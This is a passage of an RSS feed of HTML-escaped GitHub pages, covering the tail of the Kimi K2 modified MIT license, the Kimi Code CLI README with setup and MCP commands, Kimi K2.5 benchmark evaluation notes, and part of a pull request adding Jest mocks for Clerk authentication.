fied MIT License&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Copyright (c) 2025 Moonshot AI&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Permission is hereby granted, free of charge, to any person obtaining a copy&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;of this software and associated documentation files (the “Software”), to deal&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;in the Software without restriction, including without limitation the rights&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;copies of the Software, and to permit persons to whom the Software is&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;furnished to do so, subject to the following conditions:&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;The above copyright notice and this permission notice shall be included in all&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;copies or substantial portions of the Software.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;SOFTWARE.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Our only modification part is that, if the Software (or any derivative works&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;thereof) is used for any of your commercial products or services that have&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;more than 100 million monthly active users, or more than 20 million US dollars&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;(or equivalent in other currencies) in monthly revenue, you shall prominently&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;display &amp;quot;Kimi K2&amp;quot; on the user interface of such product or service.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;/div&gt;  &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;   &lt;/div&gt;





  &lt;/div&gt;



    &lt;/main&gt;
  &lt;/div&gt;

  &lt;/div&gt;&lt;div&gt;
    
    
    You can’t perform that action at this time.
  &lt;/div&gt;&lt;div&gt;
  &lt;div&gt;
  &lt;/div&gt;
&lt;/div&gt;</content:encoded>
</item>
<item>
<title>GitHub - MoonshotAI/kimi-cli: Kimi Code CLI is your next CLI agent. · GitHub</title>
<link>https://github.com/MoonshotAI/kimi-cli</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/a48f43f58adaed5bd4b47f05b81bdc93ebbcc9bd474f1cb4851cea683a26bbcd/MoonshotAI/kimi-cli"></enclosure>
<guid isPermaLink="false">TvNkC9lWEX5H8FjvQLFyDjLeY2_UuDPYnig31g==</guid>
<pubDate>Sat, 30 May 2026 03:28:54 +0000</pubDate>
<description>Kimi Code CLI is your next CLI agent. Contribute to MoonshotAI/kimi-cli development by creating an account on GitHub.</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;Kimi Code CLI&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/MoonshotAI/kimi-cli/graphs/commit-activity&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/603a4ce1fc7063073a11185727f4c5d94d2ac1897edf885f1942205275270ce3/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636f6d6d69742d61637469766974792f772f4d6f6f6e73686f7441492f6b696d692d636c69&quot; alt=&quot;Commit Activity&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://github.com/MoonshotAI/kimi-cli/actions&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/ed8a4da1c166d8298d4d22a26be306a986c7a929951287309f9c0edda8474578/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636865636b2d72756e732f4d6f6f6e73686f7441492f6b696d692d636c692f6d61696e&quot; alt=&quot;Checks&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://pypi.org/project/kimi-cli/&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/a39b81116d93c01e3d413e32953bda6aa977ffc2a1870c7d42077e9b5ae25778/68747470733a2f2f696d672e736869656c64732e696f2f707970692f762f6b696d692d636c69&quot; alt=&quot;Version&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://pypistats.org/packages/kimi-cli&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/ec3821ce880d775093c25e435243e19fda41e1744ecd69fd7cd56be163502293/68747470733a2f2f696d672e736869656c64732e696f2f707970692f64772f6b696d692d636c69&quot; alt=&quot;Downloads&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://deepwiki.com/MoonshotAI/kimi-cli&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/0f5ae213ac378635adeb5d7f13cef055ad2f7d9a47b36de7b1c67dbe09f609ca/68747470733a2f2f6465657077696b692e636f6d2f62616467652e737667&quot; alt=&quot;Ask DeepWiki&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.kimi.com/code/&quot;&gt;Kimi Code&lt;/a&gt; | &lt;a href=&quot;https://moonshotai.github.io/kimi-cli/en/&quot;&gt;Documentation&lt;/a&gt; | &lt;a href=&quot;https://moonshotai.github.io/kimi-cli/zh/&quot;&gt;文档&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;p&gt;Important&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kimi Code CLI is evolving into &lt;a href=&quot;https://github.com/MoonshotAI/kimi-code&quot;&gt;Kimi Code&lt;/a&gt;&lt;/strong&gt; — the next-generation terminal AI agent from the same team. Installing Kimi Code automatically migrates your configuration and sessions. This project will be gradually wound down; the docs and existing installations remain available.&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Kimi Code CLI is an AI agent that runs in the terminal, helping you complete software development tasks and terminal operations. It can read and edit code, execute shell commands, search and fetch web pages, and autonomously plan and adjust actions during execution.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Getting Started&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;See &lt;a href=&quot;https://moonshotai.github.io/kimi-cli/en/guides/getting-started.html&quot;&gt;Getting Started&lt;/a&gt; for how to install and start using Kimi Code CLI.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Key Features&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;Shell command mode&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Kimi Code CLI is not only a coding agent, but also a shell. You can switch the shell command mode by pressing &lt;code&gt;Ctrl-X&lt;/code&gt;. In this mode, you can directly run shell commands without leaving Kimi Code CLI.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/MoonshotAI/kimi-cli/blob/main/docs/media/shell-mode.gif&quot;&gt;&lt;img src=&quot;https://github.com/MoonshotAI/kimi-cli/raw/main/docs/media/shell-mode.gif&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;Built-in shell commands like &lt;code&gt;cd&lt;/code&gt; are not supported yet.&lt;/p&gt;
&lt;/div&gt;&lt;div&gt;&lt;h3&gt;VS Code extension&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Kimi Code CLI can be integrated with &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Visual Studio Code&lt;/a&gt; via the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=moonshot-ai.kimi-code&quot;&gt;Kimi Code VS Code Extension&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/MoonshotAI/kimi-cli/blob/main/docs/media/vscode.png&quot;&gt;&lt;img src=&quot;https://github.com/MoonshotAI/kimi-cli/raw/main/docs/media/vscode.png&quot; alt=&quot;VS Code Extension&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;IDE integration via ACP&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Kimi Code CLI supports &lt;a href=&quot;https://github.com/agentclientprotocol/agent-client-protocol&quot;&gt;Agent Client Protocol&lt;/a&gt; out of the box. You can use it together with any ACP-compatible editor or IDE.&lt;/p&gt;&lt;p&gt;To use Kimi Code CLI with ACP clients, make sure to run Kimi Code CLI in the terminal and send &lt;code&gt;/login&lt;/code&gt; to complete the login first. Then, you can configure your ACP client to start Kimi Code CLI as an ACP agent server with command &lt;code&gt;kimi acp&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;For example, to use Kimi Code CLI with &lt;a href=&quot;https://zed.dev/&quot;&gt;Zed&lt;/a&gt; or &lt;a href=&quot;https://blog.jetbrains.com/ai/2025/12/bring-your-own-ai-agent-to-jetbrains-ides/&quot;&gt;JetBrains&lt;/a&gt;, add the following configuration to your &lt;code&gt;~/.config/zed/settings.json&lt;/code&gt; or &lt;code&gt;~/.jetbrains/acp.json&lt;/code&gt; file:&lt;/p&gt;&lt;p&gt;Then you can create Kimi Code CLI threads in IDE&amp;#39;s agent panel.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/MoonshotAI/kimi-cli/blob/main/docs/media/acp-integration.gif&quot;&gt;&lt;img src=&quot;https://github.com/MoonshotAI/kimi-cli/raw/main/docs/media/acp-integration.gif&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Zsh integration&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;You can use Kimi Code CLI together with Zsh, to empower your shell experience with AI agent capabilities.&lt;/p&gt;&lt;p&gt;Install the &lt;a href=&quot;https://github.com/MoonshotAI/zsh-kimi-cli&quot;&gt;zsh-kimi-cli&lt;/a&gt; plugin via:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;git clone https://github.com/MoonshotAI/zsh-kimi-cli.git \
  &lt;span&gt;${ZSH_CUSTOM&lt;span&gt;:-&lt;/span&gt;~&lt;span&gt;/&lt;/span&gt;.oh-my-zsh&lt;span&gt;/&lt;/span&gt;custom}&lt;/span&gt;/plugins/kimi-cli&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;If you are using a plugin manager other than Oh My Zsh, you may need to refer to the plugin&amp;#39;s README for installation instructions.&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Then add &lt;code&gt;kimi-cli&lt;/code&gt; to your Zsh plugin list in &lt;code&gt;~/.zshrc&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;plugins=(... kimi-cli)&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After restarting Zsh, you can switch to agent mode by pressing &lt;code&gt;Ctrl-X&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;MCP support&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Kimi Code CLI supports MCP (Model Context Protocol) tools.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;kimi mcp&lt;/code&gt; sub-command group&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;You can manage MCP servers with &lt;code&gt;kimi mcp&lt;/code&gt; sub-command group. For example:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;#&lt;/span&gt; Add streamable HTTP server:&lt;/span&gt;
kimi mcp add --transport http context7 https://mcp.context7.com/mcp --header &lt;span&gt;&lt;span&gt;&amp;quot;&lt;/span&gt;CONTEXT7_API_KEY: ctx7sk-your-key&lt;span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;

&lt;span&gt;&lt;span&gt;#&lt;/span&gt; Add streamable HTTP server with OAuth authorization:&lt;/span&gt;
kimi mcp add --transport http --auth oauth linear https://mcp.linear.app/mcp

&lt;span&gt;&lt;span&gt;#&lt;/span&gt; Add stdio server:&lt;/span&gt;
kimi mcp add --transport stdio chrome-devtools -- npx chrome-devtools-mcp@latest

&lt;span&gt;&lt;span&gt;#&lt;/span&gt; List added MCP servers:&lt;/span&gt;
kimi mcp list

&lt;span&gt;&lt;span&gt;#&lt;/span&gt; Remove an MCP server:&lt;/span&gt;
kimi mcp remove chrome-devtools

&lt;span&gt;&lt;span&gt;#&lt;/span&gt; Authorize an MCP server:&lt;/span&gt;
kimi mcp auth linear&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Ad-hoc MCP configuration&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kimi Code CLI also supports ad-hoc MCP server configuration via CLI option.&lt;/p&gt;&lt;p&gt;Given an MCP config file in the well-known MCP config format like the following:&lt;/p&gt;&lt;p&gt;Run &lt;code&gt;kimi&lt;/code&gt; with &lt;code&gt;--mcp-config-file&lt;/code&gt; option to connect to the specified MCP servers:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;kimi --mcp-config-file /path/to/mcp.json&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;More&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;See more features in the &lt;a href=&quot;https://moonshotai.github.io/kimi-cli/en/&quot;&gt;Documentation&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Development&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;To develop Kimi Code CLI, run:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;git clone https://github.com/MoonshotAI/kimi-cli.git
&lt;span&gt;cd&lt;/span&gt; kimi-cli

make prepare  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; prepare the development environment&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then you can start working on Kimi Code CLI.&lt;/p&gt;&lt;p&gt;Refer to the following commands after you make changes:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;uv run kimi  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run Kimi Code CLI&lt;/span&gt;

make format  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; format code&lt;/span&gt;
make check  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run linting and type checking&lt;/span&gt;
make &lt;span&gt;test&lt;/span&gt;  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run tests&lt;/span&gt;
make test-kimi-cli  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run Kimi Code CLI tests only&lt;/span&gt;
make test-kosong  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run kosong tests only&lt;/span&gt;
make test-pykaos  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; run pykaos tests only&lt;/span&gt;
make build-web  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; build the web UI and sync it into the package (requires Node.js/npm)&lt;/span&gt;
make build  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; build python packages&lt;/span&gt;
make build-bin  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; build standalone binary&lt;/span&gt;
make &lt;span&gt;help&lt;/span&gt;  &lt;span&gt;&lt;span&gt;#&lt;/span&gt; show all make targets&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note: &lt;code&gt;make build&lt;/code&gt; and &lt;code&gt;make build-bin&lt;/code&gt; automatically run &lt;code&gt;make build-web&lt;/code&gt; to embed the web UI.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>GitHub - MoonshotAI/Kimi-K2.5: Moonshot&#39;s most powerful model · GitHub</title>
<link>https://github.com/MoonshotAI/Kimi-K2.5</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/0f4698fbf8d4b2a3faf07889420c4e8a7c79b141bcbc4f8d56f72e0a829be357/MoonshotAI/Kimi-K2.5"></enclosure>
<guid isPermaLink="false">Cyh_tyuhiYr9pAV5ibEIjU49GMXmfgEDoe0KuQ==</guid>
<pubDate>Sat, 30 May 2026 03:28:53 +0000</pubDate>
<description>Moonshot&#39;s most powerful model. Contribute to MoonshotAI/Kimi-K2.5 development by creating an account on GitHub.</description>
<content:encoded>&lt;ol&gt;
&lt;li&gt;General Testing Details
&lt;ul&gt;
&lt;li&gt;We report results for Kimi K2.5 and DeepSeek-V3.2 with thinking mode enabled, Claude Opus 4.5 with extended thinking mode, GPT-5.2 with xhigh reasoning effort, and Gemini 3 Pro with a high thinking level. For vision benchmarks, we additionally report results for Qwen3-VL-235B-A22B-Thinking.&lt;/li&gt;
&lt;li&gt;Unless otherwise specified, all Kimi K2.5 experiments were conducted with temperature = 1.0, top-p = 0.95, and a context length of 256k tokens.&lt;/li&gt;
&lt;li&gt;Benchmarks without publicly available scores were re-evaluated under the same conditions used for Kimi K2.5 and are marked with an asterisk (*).&lt;/li&gt;
&lt;li&gt;We could not evaluate GPT-5.2 xhigh on all benchmarks due to service stability issues. For benchmarks that were not tested, we mark them as &amp;quot;-&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Text and Reasoning
&lt;ul&gt;
&lt;li&gt;HLE, AIME 2025, HMMT 2025 (Feb), and GPQA-Diamond were evaluated with a maximum completion budget of 96k tokens.&lt;/li&gt;
&lt;li&gt;Results for AIME and HMMT are averaged over 32 runs (avg@32); GPQA-Diamond over 8 runs (avg@8).&lt;/li&gt;
&lt;li&gt;For HLE, we report scores on the full set (text &amp;amp; image). Kimi K2.5 scores 31.5 (text) and 21.3 (image) without tools, and 51.8 (text) and 39.8 (image) with tools. The DeepSeek-V3.2 score corresponds to its text-only subset (marked with †) . Hugging Face access was blocked to prevent potential data leakage. HLE with tools uses simple context management: once the context exceeds a threshold, only the latest round of tool messages is retained.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tool-Augmented / Agentic Search
&lt;ul&gt;
&lt;li&gt;Kimi K2.5 was equipped with search, code-interpreter, and web-browsing tools for HLE with tools and all agentic search benchmarks.&lt;/li&gt;
&lt;li&gt;Except for BrowseComp (where K2.5 and DeepSeek-V3.2 used the discard-all strategy), no context management was applied, and tasks exceeding the supported context length were directly counted as failed.&lt;/li&gt;
&lt;li&gt;The test system prompts emphasize deep and proactive tool use, instructing models to reason carefully, leverage tools, and verify uncertain information. Full prompts will be provided in the technical report.&lt;/li&gt;
&lt;li&gt;Results for Seal-0 and WideSearch are averaged over four runs (avg@4).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vision Benchmarks
&lt;ul&gt;
&lt;li&gt;Max-tokens = 64k, averaged over three runs (avg@3).&lt;/li&gt;
&lt;li&gt;ZeroBench (w/ tools) uses max-tokens-per-step = 24k and max-steps = 30 for multi-step reasoning.&lt;/li&gt;
&lt;li&gt;MMMU-Pro follows the official protocol, preserving input order and prepending images.&lt;/li&gt;
&lt;li&gt;GPT-5.2-xhigh had ~10% failure rate (no output despite 3 retries), treated as incorrect; reported scores likely underestimate true performance.&lt;/li&gt;
&lt;li&gt;WorldVQA, a benchmark designed to evaluate atomic vision-centric world knowledge. Access WorldVQA at &lt;a href=&quot;https://github.com/MoonshotAI/WorldVQA&quot;&gt;https://github.com/MoonshotAI/WorldVQA&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;OmniDocBench Score is computed as (1 − normalized Levenshtein distance) × 100, where a higher score denotes superior accuracy.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Coding Tasks
&lt;ul&gt;
&lt;li&gt;Terminal-Bench 2.0 scores were obtained with the default agent framework (Terminus-2) and the provided JSON parser. In our implementation, we evaluated Terminal-Bench 2.0 under non-thinking mode. This choice was made because our current context management strategy for the thinking mode is incompatible with Terminus-2.&lt;/li&gt;
&lt;li&gt;For the SWE-Bench series of evaluations (including verified, multilingual, and pro), we used an internally developed evaluation framework. This framework includes a minimal set of tools—bash tool, createfile tool, insert tool, view tool, strreplace tool, and submit tool—along with tailored system prompts designed for the tasks. The highest scores were achieved under non-thinking mode.&lt;/li&gt;
&lt;li&gt;The score of Claude Opus 4.5 on CyberGym is reported under the non-thinking setting.&lt;/li&gt;
&lt;li&gt;All reported scores of coding tasks are averaged over 5 independent runs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Long-Context Benchmarks
&lt;ul&gt;
&lt;li&gt;AA-LCR: scores averaged over three runs (avg@3).&lt;/li&gt;
&lt;li&gt;LongBench-V2: identical prompts and input contexts standardized to ~128k tokens.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Agent Swarm
&lt;ul&gt;
&lt;li&gt;BrowseComp (Swarm Mode): main agent max 15 steps; sub-agents max 100 steps.&lt;/li&gt;
&lt;li&gt;WideSearch (Swarm Mode): main and sub-agents max 100 steps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</content:encoded>
</item>
<item>
<title>feat: convex auth with clerk by hyochan · Pull Request #2 · hyochan/convex-expo-workshop · GitHub</title>
<link>https://github.com/hyochan/convex-expo-workshop/pull/2</link>
<enclosure type="image/jpeg" length="0" url="https://avatars.githubusercontent.com/u/27461460?s=400&amp;v=4"></enclosure>
<guid isPermaLink="false">HZYjIlCwNmd9QGNdfQXYeWokOILIhI5eLv29Wg==</guid>
<pubDate>Sat, 30 May 2026 03:28:38 +0000</pubDate>
<description>First workshop which is to authenticate using Clerk and integrate with Convex</description>
<content:encoded>&lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        



          



          &lt;span&gt;
            10 changes: 10 additions &amp;amp; 0 deletions
          &lt;/span&gt;
          &lt;span&gt;10 &lt;/span&gt;

        
&lt;span&gt;
  __mocks__/@clerk/clerk-expo.tsx

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/__mocks__/%40clerk/clerk-expo.tsx&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;@@ -0,0 +1,10 @@&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import React from &amp;#39;react&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;export const ClerkProvider: React.FC&amp;lt;{ children: React.ReactNode }&amp;gt; = ({ children }) =&amp;gt; &amp;lt;&amp;gt;{children}&amp;lt;/&amp;gt;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;export const ClerkLoaded: React.FC&amp;lt;{ children: React.ReactNode }&amp;gt; = ({ children }) =&amp;gt; &amp;lt;&amp;gt;{children}&amp;lt;/&amp;gt;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;export const useAuth = () =&amp;gt; ({&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  isSignedIn: true,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  userId: &amp;#39;mock-user-id&amp;#39;,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  getToken: jest.fn().mockResolvedValue(&amp;#39;mock-jwt&amp;#39;),&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;});&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;






                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        



          



          &lt;span&gt;
            5 changes: 5 additions &amp;amp; 0 deletions
          &lt;/span&gt;
          &lt;span&gt;5 &lt;/span&gt;

        
&lt;span&gt;
  __mocks__/convex/react-clerk.tsx

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/__mocks__/convex/react-clerk.tsx&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
